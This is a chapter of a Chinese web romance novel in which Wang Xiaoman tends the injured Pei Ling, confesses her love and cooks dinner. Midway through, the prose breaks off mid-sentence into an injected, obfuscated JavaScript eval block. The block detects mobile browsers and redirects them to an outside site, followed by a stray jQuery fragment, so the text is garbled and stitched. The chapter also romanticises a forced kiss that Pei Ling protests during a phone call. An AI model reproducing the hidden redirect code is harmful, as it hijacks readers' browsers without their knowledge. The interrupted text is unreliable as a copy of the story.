8.就这么黏着老婆
作品:《小土狗和白富美GB》 裴凌体质不错,在医院输了液,第三天就可以回住处了。小周开车送他回去,宿舍楼外,王小满正翘首以盼。
“小满,那我就把裴律托付给你了。”小周送完裴凌还得去另一个乡镇做普法工作,他没下车,只打开车窗向王小满挤眉弄眼。
“尽管放心。”
王小满乐呵呵地和小周打招呼,没注意到裴凌有点心不在焉。
明明裴凌是手臂受伤,他腿又没瘸,却被王小满强硬地搀扶着上了楼。
“这是你的房间?”王小满四面张望,空间不大,和她想象中一样一尘不染,东西摆放齐整。
“嗯,不过这么干净整洁不是我的功劳,都是小周收拾的。”裴凌在沙发上坐下,“你随便坐。”
王小满沉浸在踏进老婆私人空间的喜悦之中,把裴凌的“你随便坐”自作主张听成“你随便看”,大大咧咧地在各个房间里没礼貌地逡巡。
然后她在裴凌身边坐下,问他:“都是小周收拾的?你平时不干家务?”
“不干。我从小到大都没干过家务。”
“那……你平时在自己家,谁帮你打扫屋子?”王小满拐弯抹角的,其实就是想问有没有对象帮忙收拾。但太刻意了,就改了个说法。
裴凌心如明镜地瞥她一眼,笑道:“有家政和钟点工。”
就这么坐着和裴凌闲聊,王小满心里非常得劲儿,拿出一根烟自顾自点上叼起来。裴凌也好多天没抽烟了,正打算和小土狗一起拨云吐雾,结果废了只手跟帕金森老头一样怎么也点不上烟。
王小满见状,低声笑了笑。
当她不咋咋呼呼说话的时候,这声音还挺魅惑。
她把自己嘴上的那根香烟送到裴凌唇边:“你身上还有伤,抽一口就行了。”
裴凌迟疑了一会儿,默默微启唇瓣,任由女孩两根带着茧的指腹靠近他的嘴唇。香烟的雾气在唇齿间滚了一圈,裴凌没识出这是一种怎样的滋味,因为他的所有感官仿佛都集中在了她刚刚触碰过的嘴唇上。
麻麻的,像有千万只小蚂蚁爬过。
心理学上有一个词叫“刺猬效应”,与人交往时距离不能太远,否则会产生疏离感,但也不能太近,否则就失去了界限——在昨夜之前,裴凌从来觉得这个理论不适用于自己,他自信在任何境况下,与任何人交往都是绝对的挥洒自如。
可现在,他和王小满共处一室抵膝而坐,竟产生了一种无所适从的窒涩感。
“晚上想吃什么,我去买菜。”王小满刚才在厨房看了一眼,连颗鸡蛋都没有,很显然裴凌平时也不自己做饭。
“小王,你别忙活了,我晚上会自己去食堂吃,这里没什么需要你帮忙的,赶紧回去吧。”裴凌心里烦躁,面上自然冷淡。
“不准叫我小王,”王小满咬了咬烟蒂,“我忍这个称呼很久了,多客套啊,好像我是你家司机。”
“那叫你什么?”
王小满自然而然说:“叫我小满啊,或者你想叫得更亲密些我更乐意。”
裴凌没听到似的,仰头闭眼靠在沙发上闭目养神。
王小满盯着他的侧脸欣赏一会儿,突然起身,把人从沙发上公主抱起来。
裴凌吓了一跳:“你要干什么?”
“我抱你回卧室睡一会儿吧,感觉你精神不太好,饭好了我叫你。”
王小满理所当然把裴凌的淡漠与倦意绵绵认成了受伤的副作用。裴凌嘴上推拒着,但没什么效果,王小满说一不二,一只手稳稳护着他被纱布缠绕的左臂,另一只手托着他的脊背,缓慢而温柔地把他放在床上。
躺在床上,裴凌与王小满再次近距离四目相对。
女孩的眼睛水一般的明亮,几秒的近距离对视后,裴凌低垂下眼帘。
他竟然有些不敢看那双恳切、诚挚而深邃的大眼睛。
王小满不用香水,她的身上是大自然农田的芬芳,掺杂着青稞的气息,雨后牧草的香甜,像涛涛的流水涌进裴凌的鼻息,令他想到一只温柔的野兽潜伏在月光里。
让他微醺。
“谢谢,小王……”裴凌刚张嘴,唇瓣就被俯下的身体覆盖住了。
这个吻迅速又热情,但也不乏小心翼翼的克制。
女孩一边啮啃他的嘴唇,来回舔舐,一边捏着他的细腰抱怨:“都说了不准叫我小王。”
裴凌静静地看着王小满,没有回应,但也没抗拒。
王小满手上用了点力掐握裴凌的腰,在他发烫的嘴唇、脸颊上耐心细致地柔吻。这次的吻带了欲色,渐渐,裴凌听到自己发出模糊不清的哼声,黏腻的喘息也被她掠夺性的深吻搅缠得支离破碎。
终于他长长地喟叹一声:“小满……”
当自己的名字从裴凌嘴里念出来时,王小满的心湖在瞬间摇摇颤颤,阵阵涟漪漾开,又一圈圈悠回。
一股欣喜的悸动在她身体里涌动,让她从头到脚,酥酥麻麻。
万千言语,全化成两个字:“我操……”
裴凌:“……”
王小满在裴凌鼻尖上亲了亲:“我怎么会这么喜欢你呢?”她这话既像是个疑问句,又像是自言自语。
裴凌半眯起眼睛看她:“你非要像个螳螂一样趴在我身上说话吗?”
王小满讪讪地直起身子,她刚还想夸裴凌终于恢复成平时知情识趣的模样,结果他马上又开始煞风景了,这榨菜故意的吧。
转念一想,王小满笑了笑。
“我知道你今天干嘛这么防备我了,你担心我乘人之危搞你啊?这怎么可能。”
“谅你也不敢。”
“不是不敢,是舍不得。”
小土狗在他身边坐下,脸上始终挂着淡淡的笑意,平静地开口,“裴凌,我妈在我八岁的时候就不在了,我那个坐大牢的爸养我成人。这么多年,家里有钱的时候我醉生梦死,家里没钱我浑浑噩噩,我知道我过得特没劲儿,你,你就像是一束光出现在我的生命,我从没想过遇见你这样的人。”
“你让我快乐,你还救了我的命……我喜欢你,也感谢你。所以,照顾你是我自愿的,也是我应该做的。你不要推辞,更别有什么心理压力,好吗?”
王小满一鼓作气绞尽脑汁说完,蜜色的小脸上止不住浮现红晕。
裴凌的双眉紧紧蹙了起来。
刚刚一口一个“卧槽”的小女孩,突然之间来了一套情真意切的表白,说的人她真心实意,听的人他也很难不动情。
这一刻,裴凌无比深切地感觉到,这个浮躁鲁莽的精神小妹,本质上也只是个半大的小屁孩而已。
她的成长过程中没有得到足够的教育与关爱,以至于她没有安全感。如今她唯一的监护人还不在她的身边——她那些浮夸的行为,抽烟喝酒,飞车打架,归根结底都是在给自己营造一个不好惹的形象作为掩盖脆弱的保护伞。
裴凌心中充满了一种古怪的,近乎于母性爆发的怜爱。
没有丝毫狎昵之意,他好想抱抱这只可怜可爱的玉米小狗。
但他只能伸出手,用纤长温凉的指尖一下一下在她脸上拨拂,把几缕漂浮的碎发撩到她的耳后。
“那就有劳你照顾我了,”裴凌温柔地笑,“我休息一会儿,咱们出去买菜,再叫上你妹妹,我们一起吃晚饭,好吗?”
王小满忙不迭点头,给裴凌把被角掖好。
这包故作坚强的榨菜伤口疼了一宿,现在确实也有点累了,他很快就睡了过去。
在他休息的时候,王小满自己一个人在客厅里美美打王者,等到夕阳西下,裴凌精神养足了,她就和他肩并肩,两个人软侬软侬地往镇上走。
王小满几乎都有一种受宠若惊的感觉了。
她一兴奋话就多,一路上叽叽喳喳个不停。从乡村美好风景,聊到杀马特江湖的明争暗斗,从学啥技术好就业,又莫名其妙说到王者里让她气得跳脚的傻缺队友……客观地说,她和裴凌聊的东西其实都挺没水平的。但即使如此,她抛出去的每一个烂梗都会被他稳稳接住,她提出的每一个狗屎问题都会得到他最有趣的回答。
她一点儿都没觉得和他有什么认知差距。
小满不禁感叹,这就是裴凌的魅力吧。
这种聪明人,只要他想,他能让任何人感到舒心愉快。她愿意时时刻刻和他黏在一起,不做那事也根本没什么所谓……好吧还是有所谓。
晚上小满亲自下厨,裴凌在客厅里坐着,照看王淑智。
小满忙活的时候,间或抬起头,就望见她的小妹妹趴在书桌上乖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128839|195999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乖地学习,而她心爱的男人在一旁不时温柔指点。
夕阳烂漫,清风畅爽。真是宜室宜家的一幕啊。
她炸鱼都更有劲了!
用晚餐的时候,淑智抱着碗去客厅看电视了。餐桌前,只有裴凌和小满两个对坐。小满非要说裴凌手上缠着纱布活动不便,因此——
“张嘴啊。”小满把黄瓜炒鸡蛋中的黄瓜片挑起来,夹到裴凌嘴边,“我换了一种做法,可好吃了,你试试能不能吃下去。”
“我说过不爱吃这东西。”裴凌强硬地把头扭到一边,“而且我右手还能用,谢谢。”
“听话,我都怼你嘴上了,你就给我个面子吃一口嘛。”
王小满半哄半劝的,作势裴凌今天不吃,她还就不挪筷子了。
裴凌沉默了半晌,忽然挑眉笑了一笑,语气轻轻的抱怨:“你怼错嘴了,我当然吃不了……什么时候你试试怼到另一张嘴上,也许我就乖乖吃了。”
“我去!”要不说裴凌是狐狸变的吧,他这毫无征兆地发起骚来,把小满给吓了一跳,猛地把筷子收回来,自己一口把那片黄瓜给闷掉了。
裴凌见她怂怂受惊的小模样,愉悦地眯着眼睛微笑。
小满不死心,又舀了蒸鸡蛋喂给他,这回他倒是好好吃了,反正比共用一根勺子吃饭更刺激百倍的事都做过,这算什么。
满足了自己投喂的快乐,小满给自己盛了一大海碗饭,飓风过境地把桌上的三菜一汤扫灭干净。
真能吃。果然还是个正在长身体的可爱小姑娘呢。
这个连下乡都要穿高定西装的矫揉少爷,别说这么目不转睛看别人吃饭了,他曾经连听到别人吃饭的动静都要皱眉头。
而现在,他一只手支着下巴看小满吃东西,笑意盈盈地如此心想道。
饭后,裴凌坚持要拖着一只残臂给小满打下手,很快收洗工作就完成了。他也开始坐在餐桌前打开电脑审核合同。虽然他现在人在村子里躺平,但该完成的工作还是得尽心完成。
裴凌专注平和的样子非常好看,让小满想到园子里的茶。
和逗弄她时的邪恶慵懒不同,但同样蛊惑人心。
小满又开始把两只眼睛变成B超扫描仪往裴凌脸上打了,这时候裴凌手边的手机震动起来。他只瞟了一眼,根本不想搭理的样子。
小满见状,随口问一句:“这谁?”
裴凌想了想,也随口回道:“家里之前给我联系的相亲对象,后来没谈成分了,不知道为什么又给我打电话。”他觉得对小满说“联姻对象”有点做作了,搞得多封建似的。
小满一听相亲对象就来劲了:“没谈成干嘛还给你打电话?!让我来会会她!”
“别闹,不接就行了。”裴凌没想到王小满直接大步流星走过来,把他的手机一捞就跑。
裴凌阻拦不及,小满手指在屏幕上一滑,电话通了。
“喂。”
小满的声线在瞬间进行了完美切换。低沉不失清朗,优美中带点儿贵气。让裴凌都不禁一怔。
对面的陆灵昀显然也愣住了,好一会儿才说“我找Callen”。
啥玩意儿?是裴凌的英文名吧?为什么不能好好说中文!王小满翻了个白眼:“哦,你找凌儿啊。”她笑意盎然地把目光转向脸上挂火儿的裴凌——凌儿?裴凌心想连他妈都从来没这么叫过他。
王小满偏还不识风云色,放肆地用两根手指挑起裴凌的下巴抚摸起来,对陆灵昀说:“他刚刚跟我忙了一会儿累了,现在躺着呢,你需要我叫醒他吗?”
陆灵昀也是一位雷霆女士。不知她是怎么想的,可能还没反应过来,居然同意了。
王小满心里无语,嘴上却笑呵呵道:“稍等。”
如果说裴凌刚刚还只是略有愠色,像只炸毛的雪狐,那么这只雪狐现在直接气成个藏狐脸了。
王小满按住裴凌的后颈把他扯过来,经过几番锻炼,愈发灵活的舌头直接蛮狠地撞开他紧闭的唇面,舌头探进他的口腔里肆意扫荡,甚至模拟不可言说的动作,一进一出,吻得剑拔弩张。在她的攻势下,裴凌很快发出气喘不均的呼吸声:“等一下,唔……放开……”
估计那边陆灵昀也听见了。
她默默地挂了电话……

